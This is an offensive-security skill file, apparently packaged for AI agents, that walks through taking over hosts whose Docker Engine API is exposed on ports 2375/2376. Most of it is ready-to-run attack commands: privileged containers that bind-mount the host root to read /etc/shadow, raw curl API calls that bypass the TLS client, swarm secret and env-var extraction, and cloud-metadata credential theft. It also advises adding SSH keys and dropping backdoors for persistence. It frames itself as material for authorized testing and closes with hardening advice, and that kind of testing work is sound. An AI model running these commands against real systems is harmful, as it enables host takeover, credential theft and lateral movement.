pentesting-docker
$
npx mdskill add xalgord/xalgorix/pentesting-docker- Default port `2375/tcp` (plaintext remote API) and `2376/tcp` (TLS endpoint). The API is **unauthenticated by default** when enabled over TCP. - When `nmap` shows `2375/tcp open docker`, or you find a `DOCKER_HOST` / exposed `/var/run/docker.sock` proxied to the network. - Exposed Docker API = effectively root on the host: an attacker can mount `/` into a container and read/write any host file.
SKILL.md
.github/skills/pentesting-dockerView on GitHub ↗
---
name: pentesting-docker
description: Testing the Docker Engine remote API (default 2375/TCP plaintext, 2376/TCP TLS) for unauthenticated access leading to instant host takeover by mounting the host filesystem into a privileged container, plus secret/credential extraction and container-escape pivoting during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- docker
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Pentesting Docker Engine API (port 2375)
## When to Use
- Default port `2375/tcp` (plaintext remote API) and `2376/tcp` (TLS endpoint). The API is **unauthenticated by default** when enabled over TCP.
- When `nmap` shows `2375/tcp open docker`, or you find a `DOCKER_HOST` / exposed `/var/run/docker.sock` proxied to the network.
- Exposed Docker API = effectively root on the host: an attacker can mount `/` into a container and read/write any host file.
## Quick Enumeration
```bash
# Version via curl or the docker client
curl -s http://open.docker.socket:2375/version | jq
docker -H open.docker.socket:2375 version
docker -H open.docker.socket:2375 info
# Avoid -H by exporting the host
export DOCKER_HOST="tcp://localhost:2375"
docker ps -a # running + stopped containers
docker images # local images
docker network ls
# Nmap / Metasploit
nmap -sV --script "docker-*" -p <PORT> <IP>
msf> use exploit/linux/http/docker_daemon_tcp
```
## Critical: Checks Most Often Missed
- **Unauthenticated API = root RCE** — the #1 finding. Mount the host root into a privileged container and you own the box:
```bash
docker -H <host>:2375 run --rm -it -v /:/host/ ubuntu:latest chroot /host/ bash
# or in one shot
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
- **TLS endpoint on 2376 still usable via curl** — the docker client may refuse it, but the raw HTTP API often works. Create a container that bind-mounts the host and reads `/etc/shadow`:
```bash
curl --insecure -X POST -H "Content-Type: application/json" \
https://tls-opendocker.socket:2376/containers/create?name=test \
-d '{"Image":"alpine","Cmd":["/usr/bin/tail","-f","/dev/null"],"Binds":["/:/mnt"],"Privileged":true}'
curl --insecure -X POST https://tls-opendocker.socket:2376/containers/<id>/start
curl --insecure -X POST -H "Content-Type: application/json" \
https://tls-opendocker.socket:2376/containers/<id>/exec \
-d '{"AttachStdout":true,"Cmd":["/bin/sh","-c","cat /mnt/etc/shadow"]}'
curl --insecure -X POST https://tls-opendocker.socket:2376/exec/<execid>/start -d '{}'
```
- **Secrets / env leakage** — `docker inspect` env vars and swarm secrets frequently hold passwords, IPs, API keys, cloud-metadata creds.
- **Cloud metadata SSRF from inside a container** — exec a job that hits `169.254.169.254` for instance credentials.
### How to CONFIRM
- Unauthenticated access: `docker -H <IP>:2375 version` returns Server engine details (not connection refused / 401).
- Host compromise: the privileged `-v /:/mnt` container can `cat /mnt/etc/shadow` (proves full host read/write).
- TLS API: `curl --insecure https://<IP>:2376/containers/json` returns the container list without a client certificate.
## Workflow
### Step 1: Enumerate
Confirm the API answers: `docker -H <IP>:2375 version` / `curl .../version | jq`. List containers, images and networks. Note engine version and whether TLS (2376) is in play.
### Step 2: Authenticate / unauth access
The TCP API has no auth by default — test directly. For 2376, retry via `curl --insecure`. List secrets/services if swarm is set up:
```bash
curl -s --insecure https://<IP>:2376/secrets | jq
curl -s --insecure https://<IP>:2376/services | jq
```
### Step 3: Exploit / Extract
- Mount the host filesystem into a privileged container for read/write root access (commands above).
- Pull secrets from container env and mounted files:
```bash
docker -H <IP>:2375 inspect <docker_id> # check Env for passwords/IPs/paths
docker -H <IP>:2375 cp <docker_id>:/etc/<secret> ./secret_01
```
- Read mounted swarm secrets via exec (`cat /run/secrets/<name>`).
### Step 4: Post-access / pivot
With host root via the bind-mount, add SSH keys/users, dump credentials, or drop a backdoor. From a weak container you can also escape to the host (container-security techniques). Use harvested env secrets and cloud-metadata creds to pivot into the wider environment.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Remote API (2375)** | Docker Engine HTTP API; unauthenticated by default over TCP |
| **TLS API (2376)** | mTLS-protected endpoint; often reachable via raw `curl --insecure` |
| **Bind mount `-v /:/mnt`** | Mounts host root into a container -> full host file access |
| **`--privileged` / `--net=host`** | Drops isolation; eases host takeover and escape |
| **Swarm secrets** | Stored secrets exposed at `/run/secrets/` and via `/secrets` API |
| **containerd / runc / podman** | Underlying runtimes; podman is daemonless/rootless (different exposure) |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **docker CLI (`-H tcp://`)** | Direct interaction with the remote API |
| **curl + jq** | Raw API calls (esp. the 2376 TLS endpoint) |
| **nmap docker-* NSE** | Service/version detection |
| **Metasploit docker_daemon_tcp** | Exploit module for exposed API |
| **PayloadsAllTheThings Docker API RCE.py** | Scripted host-mount RCE |
| **docker-bench-security / dockscan / amicontained** | Config auditing / privilege assessment |
## Common Scenarios
### Scenario 1: Open API -> instant root
`2375/tcp` is exposed with no auth; `docker -H <IP>:2375 run -v /:/mnt --privileged alpine` yields read/write of `/etc/shadow` and host persistence.
### Scenario 2: TLS endpoint via curl
The docker client can't connect to 2376, but `curl --insecure` creates a privileged host-mounted container and reads host secrets.
### Scenario 3: Cloud credential theft
An exec job inside a container fetches `169.254.169.254/latest/meta-data/.../security-credentials/`, yielding cloud IAM creds for lateral movement.
## Output Format
```
## Docker Engine API Finding
**Service**: Docker remote API (2375/tcp plaintext | 2376/tcp TLS)
**Severity**: Critical
**Target**: <IP>:<port> Engine: <version>
### Evidence
- Unauthenticated API access confirmed: docker -H <IP>:2375 version returned server details
- Host takeover: privileged container with -v /:/mnt read /etc/shadow
- Secrets recovered: <env vars / swarm secrets / cloud metadata creds>
### Reproduction
docker -H <IP>:2375 run --rm -it --privileged -v /:/mnt alpine cat /mnt/etc/shadow
### Recommendation
1. Never expose the Docker API over TCP; bind to the local unix socket only
2. If remote access is required, enforce mTLS (2376) AND restrict by firewall/IP
3. Enable authorization plugins; drop --privileged and host bind mounts
4. Treat docker socket access as root-equivalent; audit who/what can reach it
```